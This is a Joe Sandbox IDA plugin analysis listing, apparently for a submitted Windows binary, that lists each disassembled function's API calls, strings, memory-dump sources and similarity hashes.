Opcode Fuzzy Hash: bdf135c759e78cb0b0d9266176178304e636725f31d74c37f6bd8a13578a889d
Instruction Fuzzy Hash: 0241B6346047C96EFF35A664C8043B5BEE0EB11344F0C80EADAC6575D2DBE599C8CBA6

Function 00BA055B Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 207networkfileCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 00BA05BC
inet_addr.WSOCK32(?), ref: 00BA061C
gethostbyname.WSOCK32(?), ref: 00BA0628
IcmpCreateFile.IPHLPAPI ref: 00BA0636
IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 00BA06C6
IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 00BA06E5
IcmpCloseHandle.IPHLPAPI(?), ref: 00BA07B9
WSACleanup.WSOCK32 ref: 00BA07BF

Strings

Ping, xrefs: 00BA0676

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
String ID: Ping
API String ID: 1028309954-2246546115
Opcode ID: 2c5a260407cc6fe95cf29903b6d9102649e0a5e584be1dc666859e3bc055f65e
Instruction ID: 9116b3fdd5bb6cc9d9b504c448816ed7c38d4e0e30c7977012723bf89ce9bfec
Opcode Fuzzy Hash: 2c5a260407cc6fe95cf29903b6d9102649e0a5e584be1dc666859e3bc055f65e
Instruction Fuzzy Hash: 64918E356182019FD320EF19D489F1ABBE0EF4A318F1485E9F4699B6A2CB70ED45CF91

Function 00BA8CD3 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 193COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,00000000,?), ref: 00BA8CF3

Part of subcall function 00B88E54: _wcslen.LIBCMT ref: 00B88E77

_wcslen.LIBCMT ref: 00BA8D4E
_wcslen.LIBCMT ref: 00BA8D9C
_wcslen.LIBCMT ref: 00BA8DDC
_wcslen.LIBCMT ref: 00BA8E6E

Strings

winapi, xrefs: 00BA8D96, 00BA8D9B
none, xrefs: 00BA8E65, 00BA8E6A
stdcall, xrefs: 00BA8DD6, 00BA8DDB
cdecl, xrefs: 00BA8D48, 00BA8D4D

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: _wcslen$BuffCharLower
String ID: cdecl$none$stdcall$winapi
API String ID: 707087890-567219261
Opcode ID: b6ecf14b1169d4aa4f1a6ab0148297936a36581c3444268c424a28057c6675bd
Instruction ID: fc0f14167e8a877726ddeef0faba4bad7483475b0277b0dd8cb143e4712ee31a
Opcode Fuzzy Hash: b6ecf14b1169d4aa4f1a6ab0148297936a36581c3444268c424a28057c6675bd
Instruction Fuzzy Hash: FB518131A08116DBCB14DF6CC9509BEB7E6FF66724B2042A9E466A7684DF30DE40C790

Function 00BA372C Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 187comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32 ref: 00BA3774
CoUninitialize.OLE32 ref: 00BA377F
CoCreateInstance.OLE32(?,00000000,00000017,00BBFB78,?), ref: 00BA37D9
IIDFromString.OLE32(?,?), ref: 00BA384C
VariantInit.OLEAUT32(?), ref: 00BA38E4
VariantClear.OLEAUT32(?), ref: 00BA3936

Strings

Failed to create object, xrefs: 00BA37E4, 00BA389A
Invalid parameter, xrefs: 00BA3865
NULL Pointer assignment, xrefs: 00BA381E

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 636576611-1287834457
Opcode ID: e3f527847f2cd14d575afc13d68c8dd5742c099da125798248a5fc57a3bcbc5f
Instruction ID: 4451119e01e177235ad0c04856ebe06b6fd98eb9ca1515028c51497d866f5d86
Opcode Fuzzy Hash: e3f527847f2cd14d575afc13d68c8dd5742c099da125798248a5fc57a3bcbc5f
Instruction Fuzzy Hash: 5661B270608311AFD710DF54D888F6ABBE4EF4AB10F10499DF5859B2A1DB74EE48CB92

Function 00B98195 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 186timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00B98257
SystemTimeToFileTime.KERNEL32(?,?), ref: 00B98267
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00B98273
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00B98310
SetCurrentDirectoryW.KERNEL32(?), ref: 00B98324
SetCurrentDirectoryW.KERNEL32(?), ref: 00B98356
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 00B9838C
SetCurrentDirectoryW.KERNEL32(?), ref: 00B98395

Strings

*.*, xrefs: 00B9839B

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: CurrentDirectoryTime$File$Local$System
String ID: *.*
API String ID: 1464919966-438819550
Opcode ID: b014e8d06c27459977d98d11542a5d4b077514125d28454278894b6d4396a084
Instruction ID: 59c9e01629b7962a68066a11dd6c3a0444ba81cde034c50289a5c764fd748e6d
Opcode Fuzzy Hash: b014e8d06c27459977d98d11542a5d4b077514125d28454278894b6d4396a084
Instruction Fuzzy Hash: 29617A725083159FCB10EF64D8809AEB7E8FF89310F0489AEF999D7251DB31E945CB92

Function 00B93388 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 149COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,?), ref: 00B933CF

Part of subcall function 00B29CB3: _wcslen.LIBCMT ref: 00B29CBD

LoadStringW.USER32(00000072,?,00000FFF,?), ref: 00B933F0

Strings

Error: , xrefs: 00B934D1
Incorrect parameters to object property !, xrefs: 00B934AB
^ ERROR , xrefs: 00B9349E
"%s" (%d) : ==> %s:%s%s, xrefs: 00B93504
Line %d (File "%s"):, xrefs: 00B93443, 00B9345C
"%s" (%d) : ==> %s:, xrefs: 00B93522

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: LoadString$_wcslen
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Incorrect parameters to object property !$Line %d (File "%s"):$^ ERROR
API String ID: 4099089115-3080491070
Opcode ID: ad861638d6564761b3e161debeb1da2a93de330f64d7315e8952d307b1533120
Instruction ID: c757eb76b41053bddc8b06e87211cc96806356a1c592879903b3caefcaf5d069
Opcode Fuzzy Hash: ad861638d6564761b3e161debeb1da2a93de330f64d7315e8952d307b1533120
Instruction Fuzzy Hash: FD518C71800219AADF15EBA0DD42EEEB7F8EF18740F1445A5F009731A2EB356F58CB60

Function 00B8B5C8 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 142COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00B8B5FC
_wcslen.LIBCMT ref: 00B8B608
_wcslen.LIBCMT ref: 00B8B64D
_wcslen.LIBCMT ref: 00B8B68C
_wcslen.LIBCMT ref: 00B8B6C7

Strings

EXISTS, xrefs: 00B8B686, 00B8B68B
REMOVE, xrefs: 00B8B602, 00B8B607
KEYS, xrefs: 00B8B647, 00B8B64C
APPEND, xrefs: 00B8B6C1, 00B8B6C6

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: APPEND$EXISTS$KEYS$REMOVE
API String ID: 1256254125-769500911
Opcode ID: 917b3e7afc1a06810fa6452b822cadf0d94070fd7a1fb356aa88f868347e39e9
Instruction ID: 166f37df3315af8fc55b883f7db314750dcd0bf9e6a27013fc283a7caf3ec40c
Opcode Fuzzy Hash: 917b3e7afc1a06810fa6452b822cadf0d94070fd7a1fb356aa88f868347e39e9
Instruction Fuzzy Hash: D841A532A001279BCB207F7D88909BEB7E5EF61794B2542A9E425DB2A4F731CD81D790

Function 00B95393 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 103COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00B953A0
GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 00B95416
GetLastError.KERNEL32 ref: 00B95420
SetErrorMode.KERNEL32(00000000,READY), ref: 00B954A7

Strings

READY, xrefs: 00B95460, 00B95468
INVALID, xrefs: 00B95459
UNKNOWN, xrefs: 00B95444
READONLY, xrefs: 00B95452
NOTREADY, xrefs: 00B9544B

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
API String ID: 4194297153-14809454
Opcode ID: 3d1badc8e29ecf32b4c64938aa38cf163938bd43d32cd4e0591503c4d479c9ec
Instruction ID: 75e2831e429d0c0379c856dd64e2cd47ed454f66f176cedee7aed0fe74c5646d
Opcode Fuzzy Hash: 3d1badc8e29ecf32b4c64938aa38cf163938bd43d32cd4e0591503c4d479c9ec
Instruction Fuzzy Hash: 0D31C335A406089FCB62DF68C884AAABBF4EF54305F1480F5E405DB396DB70DD82CB90

Function 00BB3C46 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 101windowCOMMON

Download Yara Rule

APIs

CreateMenu.USER32 ref: 00BB3C79
SetMenu.USER32(?,00000000), ref: 00BB3C88
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00BB3D10
IsMenu.USER32(?), ref: 00BB3D24
CreatePopupMenu.USER32 ref: 00BB3D2E
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00BB3D5B
DrawMenuBar.USER32 ref: 00BB3D63

Strings

0, xrefs: 00BB3C54
F, xrefs: 00BB3D4E

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Menu$CreateItem$DrawInfoInsertPopup
String ID: 0$F
API String ID: 161812096-3044882817
Opcode ID: 109232b13f1c07e57668e2224381e60f27d3c31aa073fc1e532e984df4e8343a
Instruction ID: b323f6053ab1a332c909d6704b11db9b89e36584879927b377a402956d981df8
Opcode Fuzzy Hash: 109232b13f1c07e57668e2224381e60f27d3c31aa073fc1e532e984df4e8343a
Instruction Fuzzy Hash: 40419C74A01209EFDB24CF64D884AEA7BF5FF49300F140169F956A7360DBB0AA10CF90

Function 00B81EDF Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 78windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00B29CB3: _wcslen.LIBCMT ref: 00B29CBD

Part of subcall function 00B83CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00B83CCA

SendMessageW.USER32(?,0000018C,000000FF,00020000), ref: 00B81F64
GetDlgCtrlID.USER32 ref: 00B81F6F
GetParent.USER32 ref: 00B81F8B
SendMessageW.USER32(00000000,?,00000111,?), ref: 00B81F8E
GetDlgCtrlID.USER32(?), ref: 00B81F97
GetParent.USER32(?), ref: 00B81FAB
SendMessageW.USER32(00000000,?,00000111,?), ref: 00B81FAE

Strings

ListBox, xrefs: 00B81F21
ComboBox, xrefs: 00B81EEC

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_wcslen
String ID: ComboBox$ListBox
API String ID: 711023334-1403004172
Opcode ID: 4622bb4d54975c4282707f2d2ca255b618d891318e94c91ed9bc1ea99ea1390e
Instruction ID: 5beb963db490a07b3de309d8298fc8016cacacad75c0dcf1144d134314e1f067
Opcode Fuzzy Hash: 4622bb4d54975c4282707f2d2ca255b618d891318e94c91ed9bc1ea99ea1390e
Instruction Fuzzy Hash: 9821B074900218BBCF04EFA4DC85DEEBBF8EF19350F004695BA66672A1DBB45905DB60

Function 00BB3A23 Relevance: 15.2, APIs: 10, Instructions: 182windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00BB3A9D
SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00BB3AA0
GetWindowLongW.USER32(?,000000F0), ref: 00BB3AC7
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00BB3AEA
SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 00BB3B62
SendMessageW.USER32(?,00001074,00000000,00000007), ref: 00BB3BAC
SendMessageW.USER32(?,00001057,00000000,00000000), ref: 00BB3BC7
SendMessageW.USER32(?,0000101D,00001004,00000000), ref: 00BB3BE2
SendMessageW.USER32(?,0000101E,00001004,00000000), ref: 00BB3BF6
SendMessageW.USER32(?,00001008,00000000,00000007), ref: 00BB3C13

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: MessageSend$LongWindow
String ID:
API String ID: 312131281-0
Opcode ID: 47147dab95c7a9a7e551660e39f0f6c8a38bc80fdf2293bafa12ebee3a29ed39
Instruction ID: 6d42274471389af1321e5aed328a8d8cab70fc02f94ec170cf32137ba6e3cb65
Opcode Fuzzy Hash: 47147dab95c7a9a7e551660e39f0f6c8a38bc80fdf2293bafa12ebee3a29ed39
Instruction Fuzzy Hash: BD617A75900248AFDB20DFA8CC81EFE77F8EB09700F104599FA15A72A1DBB4AE45DB50

Function 00B8B12F Relevance: 15.1, APIs: 10, Instructions: 88threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00B8B151
GetForegroundWindow.USER32(00000000,?,?,?,?,?,00B8A1E1,?,00000001), ref: 00B8B165
GetWindowThreadProcessId.USER32(00000000), ref: 00B8B16C
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00B8A1E1,?,00000001), ref: 00B8B17B
GetWindowThreadProcessId.USER32(?,00000000), ref: 00B8B18D
AttachThreadInput.USER32(?,00000000,00000001,?,?,?,?,?,00B8A1E1,?,00000001), ref: 00B8B1A6
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00B8A1E1,?,00000001), ref: 00B8B1B8
AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,00B8A1E1,?,00000001), ref: 00B8B1FD
AttachThreadInput.USER32(?,?,00000000,?,?,?,?,?,00B8A1E1,?,00000001), ref: 00B8B212
AttachThreadInput.USER32(00000000,?,00000000,?,?,?,?,?,00B8A1E1,?,00000001), ref: 00B8B21D

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Thread$AttachInput$Window$Process$CurrentForeground
String ID:
API String ID: 2156557900-0
Opcode ID: 552c51550efdb369ef8541117bbe58a4cdb318a3c4e8574708a88aa041ed8f7c
Instruction ID: 3022a890fb36026f601465f29b4e0d7cf803e575acf731e01a97b66507582747
Opcode Fuzzy Hash: 552c51550efdb369ef8541117bbe58a4cdb318a3c4e8574708a88aa041ed8f7c
Instruction Fuzzy Hash: 723148B5510204AFDB10AF78DC98FB97FE9EB51711F204156FA05EB1A0DFB4AA40CB64

Function 00B52C80 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00B52C94

Part of subcall function 00B529C8: HeapFree.KERNEL32(00000000,00000000,?,00B5D7D1,00000000,00000000,00000000,00000000,?,00B5D7F8,00000000,00000007,00000000,?,00B5DBF5,00000000), ref: 00B529DE
Part of subcall function 00B529C8: GetLastError.KERNEL32(00000000,?,00B5D7D1,00000000,00000000,00000000,00000000,?,00B5D7F8,00000000,00000007,00000000,?,00B5DBF5,00000000,00000000), ref: 00B529F0

_free.LIBCMT ref: 00B52CA0
_free.LIBCMT ref: 00B52CAB
_free.LIBCMT ref: 00B52CB6
_free.LIBCMT ref: 00B52CC1
_free.LIBCMT ref: 00B52CCC
_free.LIBCMT ref: 00B52CD7
_free.LIBCMT ref: 00B52CE2
_free.LIBCMT ref: 00B52CED
_free.LIBCMT ref: 00B52CFB

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: acfa974a58b1c3f82066a7108ab7f1110afe976473d32e6a905f983f5fa70f09
Instruction ID: c26d226dce91b573d0ad390f963b48ff3064b540b6e3783ab3afa38ea658b2cb
Opcode Fuzzy Hash: acfa974a58b1c3f82066a7108ab7f1110afe976473d32e6a905f983f5fa70f09
Instruction Fuzzy Hash: 12119376101108AFCB02EF54D882EDD3BA5FF06351F5144E5FE48AB322DA31EE549B90

Function 00B21410 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 332comCOMMON

Download Yara Rule

APIs

mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 00B21459
OleUninitialize.OLE32(?,00000000), ref: 00B214F8
UnregisterHotKey.USER32(?), ref: 00B216DD
DestroyWindow.USER32(?), ref: 00B624B9
FreeLibrary.KERNEL32(?), ref: 00B6251E
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00B6254B

Strings

close all, xrefs: 00B21454

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
String ID: close all
API String ID: 469580280-3243417748
Opcode ID: 523a8a27676bf71d21d9f6d1171d253d75a1d0a7495258af9e30dafd7909f7b1
Instruction ID: ec0cdf6c54fd41d66a6081a8a56d519e752159d02bc1facb0a07584ab5f9a09a
Opcode Fuzzy Hash: 523a8a27676bf71d21d9f6d1171d253d75a1d0a7495258af9e30dafd7909f7b1
Instruction Fuzzy Hash: C6D139317016228FDB29EF18D899A69F7E4BF15700F2446EDE44E6B261DB34AD12CF50

Function 00B97DF0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 230COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00B97FAD
SetCurrentDirectoryW.KERNEL32(?), ref: 00B97FC1
GetFileAttributesW.KERNEL32(?), ref: 00B97FEB
SetFileAttributesW.KERNEL32(?,00000000), ref: 00B98005
SetCurrentDirectoryW.KERNEL32(?), ref: 00B98017
SetCurrentDirectoryW.KERNEL32(?), ref: 00B98060
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 00B980B0

Strings

*.*, xrefs: 00B98066

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: CurrentDirectory$AttributesFile
String ID: *.*
API String ID: 769691225-438819550
Opcode ID: a1d6a9621ca64bc3be61d2347f3989326b172627757e09df4ce4be425f19a5c2
Instruction ID: cc7702efa7f31be949d212c0d8c6062f8810bc27ec3a305fe5fe2e97e98968d5
Opcode Fuzzy Hash: a1d6a9621ca64bc3be61d2347f3989326b172627757e09df4ce4be425f19a5c2
Instruction Fuzzy Hash: AC81A0715586419BCF20EF14C884AAEB7E8FF89310F1448AEF889D7250EB34DD498B92

Function 00B25BEA Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 184windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,000000EB), ref: 00B25C7A

Part of subcall function 00B25D0A: GetClientRect.USER32(?,?), ref: 00B25D30
Part of subcall function 00B25D0A: GetWindowRect.USER32(?,?), ref: 00B25D71
Part of subcall function 00B25D0A: ScreenToClient.USER32(?,?), ref: 00B25D99

GetDC.USER32 ref: 00B646F5
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 00B64708
SelectObject.GDI32(00000000,00000000), ref: 00B64716
SelectObject.GDI32(00000000,00000000), ref: 00B6472B
ReleaseDC.USER32(?,00000000), ref: 00B64733
MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 00B647C4

Strings

U, xrefs: 00B64693

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
